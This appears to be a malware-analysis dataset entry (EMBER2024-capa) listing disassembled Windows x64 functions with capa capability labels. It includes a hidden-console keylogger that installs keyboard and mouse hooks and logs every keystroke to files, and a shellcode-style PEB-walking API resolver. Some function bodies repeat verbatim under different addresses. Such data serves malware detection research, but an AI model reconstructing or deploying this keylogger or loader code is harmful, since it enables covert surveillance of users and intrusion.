joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001111d
Capabilities:
Write file on windows

Disassembly:
jmp 0x14001fbd0
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x14003b0f3]
call fcn.1400119e7
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x68], 0
je 0x14001fc27
mov r8, qword [rbp + 0x130]
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x14001fd33
mov rax, qword [rbp + 0x130]
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const___ptr64]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x130], 0
jle 0x14001fccc
cmp qword [rbp + 0x28], 0
jle 0x14001fccc
mov rax, qword [rbp + 0x28]
cmp qword [rbp + 0x130], rax
jge 0x14001fc6c
mov rax, qword [rbp + 0x130]
mov qword [rbp + 0x28], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
mov r8, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x128]
mov rcx, rax
call fcn.14001195b
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x128]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x128], rax
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov edx, dword [rbp + 0x28]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int____ptr64]
cmp qword [rbp + 0x130], 0
jle 0x14001fd22
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x80], 0
je 0x14001fd22
mov rax, qword [rbp + 0x120]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x130]
mov edx, 1
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.ucrtbased.dll_fwrite]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov rax, qword [rbp + 0x130]
mov rcx, qword [rbp + 8]
sub rcx, rax
mov rax, rcx
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret

Function at 0x140011587
Capabilities:
Terminate process

Disassembly:
jmp 0x140023260
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x1400116db
Capabilities:
Log keystrokes via application hook

Disassembly:
jmp 0x14001fe10
push rbp
push rdi
sub rsp, 0x1c8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x3a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140032018]
xor rax, rbp
mov qword [rbp + 0x198], rax
lea rcx, [0x14003b0ff]
call fcn.1400119e7
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
mov r9d, 0x40
mov r8d, 8
lea rdx, str.log.csv
lea rcx, [0x140032860]
call fcn.14001120d
lea rdx, str.Time_Event_Type_Key_Position_MousePosition_n
lea rcx, [0x140032970]
call fcn.140011145
lea rdx, [rbp + 0x158]
lea rcx, [0x140032970]
call fcn.140011582
mov qword [rbp + 0x188], rax
mov rax, qword [rbp + 0x188]
mov qword [rbp + 0x190], rax
mov rdx, qword [rbp + 0x190]
lea rcx, [0x140032860]
call fcn.1400118e8
nop
lea rcx, [rbp + 0x158]
call fcn.140011203
lea rcx, [0x140032860]
call fcn.1400114f1
mov r9d, 0x40
mov r8d, 8
lea rdx, str.linear_keyboard.txt
lea rcx, [0x140032a60]
call fcn.14001120d
lea rdx, str.Every_word_typed_by_computer:_n
lea rcx, [0x140032a60]
call fcn.140011145
lea rcx, [0x140032a60]
call fcn.1400114f1
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x140011717]
mov ecx, 0xd
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
mov qword [rbp + 8], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x140011109]
mov ecx, 0xe
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
mov qword [rbp + 0x28], rax
lea rdx, str.I_am_working_now_nBut_you_dont_need_to_look_at_terminal_for_real
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011145
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x48]
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x14001ff99
lea rcx, [rbp + 0x48]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x48]
call qword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x14001ff6d
mov rcx, qword [rbp + 8]
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x14002be60]
call fcn.14001183e
mov eax, edi
mov rcx, qword [rbp + 0x198]
xor rcx, rbp
call fcn.1400114a1
lea rsp, [rbp + 0x1a8]
pop rdi
pop rbp
ret
Function at 0x140011703
Capabilities:
Parse pe header

Disassembly:
jmp 0x140022610
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140022630
xor al, al
jmp 0x1400226b1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140022643
xor al, al
jmp 0x1400226b1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14002266d
xor al, al
jmp 0x1400226b1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140022681
xor al, al
jmp 0x1400226b1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140022693
xor al, al
jmp 0x1400226b1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400226af
xor al, al
jmp 0x1400226b1
mov al, 1
add rsp, 0x38
ret
Function at 0x1400119c9
Capabilities:
Write file on windows

Disassembly:
jmp 0x140019de0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1e8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x3e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x208]
mov rax, qword [0x140032018]
xor rax, rbp
mov qword [rbp + 0x1a0], rax
lea rcx, [0x14003b0f3]
call fcn.1400119e7
mov rax, qword [rbp + 0x1d0]
cmp qword [rax + 0x68], 0
je 0x140019e46
mov rax, qword [rbp + 0x1d0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x140019e4d
mov al, 1
jmp 0x140019fa7
call fcn.1400112c6
mov rcx, qword [rbp + 0x1d0]
mov rcx, qword [rcx]
mov qword [rbp + 0x198], rcx
mov edx, eax
mov rcx, qword [rbp + 0x1d0]
mov rax, qword [rbp + 0x198]
call qword [rax + 0x18]
mov dword [rbp + 0x164], eax
call fcn.1400112c6
mov dword [rbp + 0x184], eax
lea rdx, [rbp + 0x164]
lea rcx, [rbp + 0x184]
call fcn.14001185c
movzx eax, al
test eax, eax
je 0x140019ea8
xor al, al
jmp 0x140019fa7
mov qword [rbp + 8], 0x20
lea rax, [rbp + 0x48]
mov rcx, qword [rbp + 0x1d0]
add rcx, 0x74
lea rdx, [rbp + 0x68]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rbp + 0x28]
mov rdx, rcx
mov rax, qword [rbp + 0x1d0]
mov rcx, qword [rax + 0x68]
call qword [sym.imp.MSVCP140D.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
mov dword [rbp + 0x194], eax
cmp dword [rbp + 0x194], 0
je 0x140019f0d
cmp dword [rbp + 0x194], 1
je 0x140019f18
cmp dword [rbp + 0x194], 3
je 0x140019f96
jmp 0x140019fa5
mov rax, qword [rbp + 0x1d0]
mov byte [rax + 0x71], 0
lea rax, [rbp + 0x28]
mov rcx, qword [rbp + 0x68]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jbe 0x140019f68
mov rax, qword [rbp + 0x1d0]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x88]
mov edx, 1
lea rcx, [rbp + 0x28]
call qword [sym.imp.ucrtbased.dll_fwrite]
cmp qword [rbp + 0x88], rax
je 0x140019f68
xor al, al
jmp 0x140019fa7
mov rax, qword [rbp + 0x1d0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x140019f83
mov dword [rbp + 0x194], 1
jmp 0x140019f8d
mov dword [rbp + 0x194], 0
movzx eax, byte [rbp + 0x194]
jmp 0x140019fa7
mov rax, qword [rbp + 0x1d0]
mov byte [rax + 0x71], 0
mov al, 1
jmp 0x140019fa7
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14002b840]
call fcn.14001183e
mov rax, rdi
mov rcx, qword [rbp + 0x1a0]
xor rcx, rbp
call fcn.1400114a1
lea rsp, [rbp + 0x1b8]
pop rdi
pop rbp
ret
Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d6
push r9
push r8
push rdx
xor rdx, rdx
push rcx
push rsi
mov rdx, qword gs:[rdx + 0x60]
mov rdx, qword [rdx + 0x18]
mov rdx, qword [rdx + 0x20]
mov rsi, qword [rdx + 0x50]
movzx rcx, word [rdx + 0x4a]
xor r9, r9
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140004037
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14000402d
push rdx
push r9
mov rdx, qword [rdx + 0x20]
mov eax, dword [rdx + 0x3c]
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x1400040cb
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040cb
add rax, rdx
mov r8d, dword [rax + 0x20]
push rax
add r8, rdx
mov ecx, dword [rax + 0x18]
jrcxz 0x1400040ca
dec rcx
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor r9, r9
xor rax, rax
lodsb al, byte [rsi]
ror r9d, 0xd
add r9d, eax
cmp al, ah
jne 0x140004081
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004072
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
add rax, rdx
pop r8
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004021
Function at 0x140001f60
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
xor ebp, ebp
mov rbx, r8
mov rsi, rdx
mov rdi, rcx
cmp qword [rcx], rbp
jne 0x140001f9c
lea r8, str.m_hKey___0
mov edx, 0x16a8
lea rcx, str.sdkinc_atlmfc_atlbase.h
call fcn.14008388c
test rbx, rbx
je 0x140001fe8
or rax, 0xffffffffffffffff
inc rax
cmp word [rbx + rax*2], bp
jne 0x140001fa5
mov rcx, qword [rdi]
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rbx
mov rdx, rsi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
lea r8, str.__atl_condVal
mov edx, 0x16a9
lea rcx, str.sdkinc_atlmfc_atlbase.h
call fcn.14008388c
mov ecx, 0x80004005
call fcn.140001c2c
int3

Function at 0x140002014
Capabilities:
Query or enumerate registry key

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x180]
sub rsp, 0x280
mov rax, qword [0x140170608]
xor rax, rsp
mov qword [rbp + 0x170], rax
and qword [rsp + 0x48], 0
mov rsi, rdx
and qword [rsp + 0x50], 0
mov r8, rdx
mov rdx, qword [rcx]
mov rdi, rcx
and qword [rsp + 0x58], 0
lea rcx, [rsp + 0x48]
mov r9d, 0x2001f
call fcn.140001ea4
jmp 0x14000207b
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x48]
call fcn.140002014
mov ebx, eax
test eax, eax
jne 0x1400020e3
mov rcx, qword [rsp + 0x48]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
lea r9, [rsp + 0x40]
and qword [rsp + 0x30], 0
lea r8, [rsp + 0x70]
and qword [rsp + 0x28], 0
xor edx, edx
and qword [rsp + 0x20], 0
mov dword [rsp + 0x40], 0x100
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x14000206c
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x1400020d6
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
and qword [rsp + 0x48], 0
mov rdx, rsi
mov rcx, rdi
call fcn.140001d14
mov ebx, eax
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x1400020f3
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rcx, qword [rbp + 0x170]
xor rcx, rsp
call fcn.140141340
mov rbx, qword [rsp + 0x2b0]
add rsp, 0x280
pop rdi
pop rsi
pop rbp
ret
Function at 0x140002818
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push rbx
push rsi
push rdi
push r14
push r15
sub rsp, 0x490
mov qword [rsp + 0x58], 0xfffffffffffffffe
mov rax, qword [0x140170608]
xor rax, rsp
mov qword [rsp + 0x480], rax
mov r14, r9
mov rdi, r8
mov rax, rdx
xor ebx, ebx
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x70], rbx
xor edx, edx
lea r8d, [rbx + 2]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov rsi, rax
mov qword [rsp + 0x38], rax
test rax, rax
jne 0x140002889
call fcn.140001ca4
mov ebx, eax
jmp 0x1400029f4
xor r9d, r9d
mov r8, rdi
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindResourceExW]
mov rdi, rax
test rax, rax
jne 0x1400028ad
call fcn.140001ca4
jmp 0x1400029e8
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov r15, rax
mov qword [rsp + 0x40], rax
test rax, rax
je 0x1400028a3
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
mov dword [rsp + 0x30], eax
inc eax
cmp eax, edi
jae 0x140002919
lea rax, [rsp + 0x78]
cmp qword [rsp + 0x70], rax
je 0x1400028f5
lea rcx, [rsp + 0x70]
call fcn.140004a70
nop
mov eax, 0x8007000e
mov rcx, qword [rsp + 0x480]
xor rcx, rsp
call fcn.140141340
add rsp, 0x490
pop r15
pop r14
pop rdi
pop rsi
pop rbx
ret
mov r14d, eax
test eax, eax
jne 0x140002925
mov r14, rbx
jmp 0x14000293b
xor edx, edx
or rax, 0xffffffffffffffff
div r14
cmp rax, 2
jb 0x140002a12
add r14, r14
cmp qword [rsp + 0x70], rbx
je 0x14000295a
lea r8, str.m_p__0
mov edx, 0x207
lea rcx, str.sdkinc_atlmfc_atlalloc.h
call fcn.14008388c
cmp r14, 0x400
jbe 0x140002977
mov rdx, r14
lea rcx, [rsp + 0x70]
call fcn.140004b7c
mov rax, qword [rsp + 0x70]
jmp 0x140002981
lea rax, [rsp + 0x78]
mov qword [rsp + 0x70], rax
jmp 0x140002998
test rax, rax
jne 0x1400029a4
mov ebx, 0x8007000e
jmp 0x1400029ea
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rax
mov r9d, edi
mov r8, r15
xor edx, edx
lea ecx, [rdx + 3]
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
je 0x1400028a3
mov ecx, eax
mov rax, qword [rsp + 0x70]
mov word [rax + rcx*2], bx
mov r8d, dword [rsp + 0x4e0]
mov rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x48]
call fcn.140003634
mov ebx, eax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
nop
lea rax, [rsp + 0x78]
cmp qword [rsp + 0x70], rax
je 0x140002a0b
lea rcx, [rsp + 0x70]
call fcn.140004a70
nop
mov eax, ebx
jmp 0x1400028fa
mov ecx, 0x80070057
call fcn.140001c2c
int3
Function at 0x14002cf80
Capabilities:
Get session user name

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rdi
push r12
push r15
sub rsp, 0x260
mov rax, qword [0x140170608]
xor rax, rsp
mov qword [rsp + 0x250], rax
xor ebp, ebp
mov rbx, rcx
mov qword [rsp + 0x30], rbp
mov rcx, qword [0x140170048]
lea r15, [0x140170048]
lea r12, [0x14014b1c0]
cmp rcx, r15
je 0x14002cfe9
test byte [rcx + 0x1c], 1
je 0x14002cfe9
cmp byte [rcx + 0x19], 4
jb 0x14002cfe9
mov rcx, qword [rcx + 0x10]
mov edx, 0x2c5
mov r8, r12
call fcn.140004c54
mov edx, dword [rbx + 0x150]
lea r8, [rsp + 0x30]
mov rcx, qword [rbx + 0x158]
call fcn.1401071d0
mov edi, eax
test eax, eax
jns 0x14002d04b
mov rcx, qword [0x140170048]
cmp rcx, r15
je 0x14002d13c
test byte [rcx + 0x1c], 1
je 0x14002d13c
cmp byte [rcx + 0x19], 2
jb 0x14002d13c
mov r9, qword [rbx + 0x158]
mov edx, 0x2c6
mov rcx, qword [rcx + 0x10]
mov r8, r12
mov dword [rsp + 0x20], eax
call fcn.140005c44
jmp 0x14002d135
mov edi, 0x101
lea rcx, [rsp + 0x40]
mov r8d, edi
mov dword [rsp + 0x38], edi
xor edx, edx
call sub.msvcrt.dll_memset
mov r8, qword [rbx + 0x260]
lea rcx, [rsp + 0x40]
test r8, r8
jne 0x14002d0ca
lea rdx, [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
jne 0x14002d0d2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [0x140170048]
cmp rcx, r15
je 0x14002d0c3
test byte [rcx + 0x1c], 1
je 0x14002d0c3
cmp byte [rcx + 0x19], 2
jb 0x14002d0c3
mov rcx, qword [rcx + 0x10]
mov edx, 0x2c7
movzx r9d, ax
mov r8, r12
or r9d, 0x80070000
test eax, eax
cmovle r9d, eax
call fcn.140004c78
mov word [rsp + 0x40], bp
jmp 0x14002d0d2
mov rdx, rdi
call fcn.14003a4d0
mov r8, qword [rbx + 0x188]
lea r9, [rsp + 0x40]
mov rdx, qword [rbx + 0x158]
mov rcx, qword [rsp + 0x30]
call fcn.1400d85f4
mov edi, eax
test eax, eax
jns 0x14002d135
mov rcx, qword [0x140170048]
cmp rcx, r15
je 0x14002d13c
test byte [rcx + 0x1c], 1
je 0x14002d13c
cmp byte [rcx + 0x19], 2
jb 0x14002d13c
mov r9, qword [rbx + 0x158]
mov edx, 0x2c8
mov rcx, qword [rcx + 0x10]
mov r8, r12
mov dword [rsp + 0x28], eax
mov rax, qword [rbx + 0x160]
mov qword [rsp + 0x20], rax
call fcn.140005d78
mov rcx, qword [0x140170048]
cmp qword [rsp + 0x30], rbp
je 0x14002d155
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov rcx, qword [0x140170048]
cmp rcx, r15
je 0x14002d177
test byte [rcx + 0x1c], 1
je 0x14002d177
cmp byte [rcx + 0x19], 4
jb 0x14002d177
mov rcx, qword [rcx + 0x10]
mov edx, 0x2c9
mov r8, r12
call fcn.140004c54
mov eax, edi
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.140141340
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r12
pop rdi
ret
Function at 0x14005ec54
Capabilities:
Accept command line arguments
Query or enumerate registry value

Disassembly:
sub rsp, 0x28
cmp byte [0x140171271], 0
mov qword [0x140171278], rcx
je 0x14005ec85
lea r8, [0x140148904]
mov edx, 0xe41
lea rcx, str.sdkinc_atlmfc_atlbase.h
call fcn.14008388c
or eax, 0xffffffff
jmp 0x14005ecae
and dword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rdx, rax
lea r8, [rsp + 0x30]
call fcn.14005f080
cmp al, 1
jne 0x14005ecaa
add rsp, 0x28
jmp 0x14005f324
mov eax, dword [rsp + 0x30]
add rsp, 0x28
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], r14
push rbp
lea rbp, [rsp - 0x1b0]
sub rsp, 0x2b0
mov rax, qword [0x140170608]
xor rax, rsp
mov qword [rbp + 0x1a0], rax
xor r14d, r14d
lea r8, str.AppID
mov r9d, 0x20019
mov qword [rsp + 0x50], r14
mov rdx, 0xffffffff80000000
mov qword [rsp + 0x58], r14
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x60], r14
call fcn.140001ea4
mov ebx, eax
test eax, eax
je 0x14005f390
mov dword [0x1401715bc], eax
jmp 0x14005f4cb
mov rdx, qword [rsp + 0x50]
lea r8, [0x14014c040]
mov r9d, 0x20019
mov qword [rsp + 0x38], r14
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], r14
call fcn.140001ea4
mov ebx, eax
test eax, eax
jne 0x14005f4b3
cmp qword [rsp + 0x38], r14
jne 0x14005f3e4
lea r8, str.m_hKey___0
mov edx, 0x15ed
lea rcx, str.sdkinc_atlmfc_atlbase.h
call fcn.14008388c
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x34]
lea rax, [rbp - 0x70]
mov dword [rsp + 0x30], 0x208
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.LocalService
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x14005f450
mov eax, dword [rsp + 0x34]
dec eax
cmp eax, 1
jbe 0x14005f42f
mov eax, 0xd
jmp 0x14005f450
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x14005f448
test al, 1
jne 0x14005f428
shr rax, 1
cmp word [rbp + rax*2 - 0x72], r14w
je 0x14005f44d
jmp 0x14005f428
mov word [rbp - 0x70], r14w
mov eax, r14d
mov dword [0x1401715cc], r14d
test eax, eax
jne 0x14005f4a5
lea rax, [0x1401713a8]
mov dword [0x1401715cc], 1
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x68]
lea rax, [0x14005f5e0]
mov qword [rsp + 0x78], r14
mov qword [rsp + 0x70], rax
mov qword [rbp - 0x80], r14
call qword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherW]
test eax, eax
jne 0x14005f49d
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x14005f4b1
mov ebx, dword [0x1401715bc]
jmp 0x14005f4b9
lea rcx, [0x140171340]
call fcn.14005e754
mov ebx, eax
mov dword [0x1401715bc], eax
cmp qword [rsp + 0x38], r14
je 0x14005f4cb
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp qword [rsp + 0x50], r14
je 0x14005f4dd
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rcx, qword [rbp + 0x1a0]
xor rcx, rsp
call fcn.140141340
lea r11, [rsp + 0x2b0]
mov rbx, qword [r11 + 0x10]
mov r14, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
Function at 0x14005f324
Capabilities:
Query or enumerate registry value

Disassembly:
sub rsp, 0x28
cmp byte [0x140171271], 0
mov qword [0x140171278], rcx
je 0x14005ec85
lea r8, [0x140148904]
mov edx, 0xe41
lea rcx, str.sdkinc_atlmfc_atlbase.h
call fcn.14008388c
or eax, 0xffffffff
jmp 0x14005ecae
and dword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rdx, rax
lea r8, [rsp + 0x30]
call fcn.14005f080
cmp al, 1
jne 0x14005ecaa
add rsp, 0x28
jmp 0x14005f324
mov eax, dword [rsp + 0x30]
add rsp, 0x28
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], r14
push rbp
lea rbp, [rsp - 0x1b0]
sub rsp, 0x2b0
mov rax, qword [0x140170608]
xor rax, rsp
mov qword [rbp + 0x1a0], rax
xor r14d, r14d
lea r8, str.AppID
mov r9d, 0x20019
mov qword [rsp + 0x50], r14
mov rdx, 0xffffffff80000000
mov qword [rsp + 0x58], r14
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x60], r14
call fcn.140001ea4
mov ebx, eax
test eax, eax
je 0x14005f390
mov dword [0x1401715bc], eax
jmp 0x14005f4cb
mov rdx, qword [rsp + 0x50]
lea r8, [0x14014c040]
mov r9d, 0x20019
mov qword [rsp + 0x38], r14
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], r14
call fcn.140001ea4
mov ebx, eax
test eax, eax
jne 0x14005f4b3
cmp qword [rsp + 0x38], r14
jne 0x14005f3e4
lea r8, str.m_hKey___0
mov edx, 0x15ed
lea rcx, str.sdkinc_atlmfc_atlbase.h
call fcn.14008388c
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x34]
lea rax, [rbp - 0x70]
mov dword [rsp + 0x30], 0x208
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.LocalService
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x14005f450
mov eax, dword [rsp + 0x34]
dec eax
cmp eax, 1
jbe 0x14005f42f
mov eax, 0xd
jmp 0x14005f450
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x14005f448
test al, 1
jne 0x14005f428
shr rax, 1
cmp word [rbp + rax*2 - 0x72], r14w
je 0x14005f44d
jmp 0x14005f428
mov word [rbp - 0x70], r14w
mov eax, r14d
mov dword [0x1401715cc], r14d
test eax, eax
jne 0x14005f4a5
lea rax, [0x1401713a8]
mov dword [0x1401715cc], 1
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x68]
lea rax, [0x14005f5e0]
mov qword [rsp + 0x78], r14
mov qword [rsp + 0x70], rax
mov qword [rbp - 0x80], r14
call qword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherW]
test eax, eax
jne 0x14005f49d
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x14005f4b1
mov ebx, dword [0x1401715bc]
jmp 0x14005f4b9
lea rcx, [0x140171340]
call fcn.14005e754
mov ebx, eax
mov dword [0x1401715bc], eax
cmp qword [rsp + 0x38], r14
je 0x14005f4cb
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp qword [rsp + 0x50], r14
je 0x14005f4dd
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rcx, qword [rbp + 0x1a0]
xor rcx, rsp
call fcn.140141340
lea r11, [rsp + 0x2b0]
mov rbx, qword [r11 + 0x10]
mov r14, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret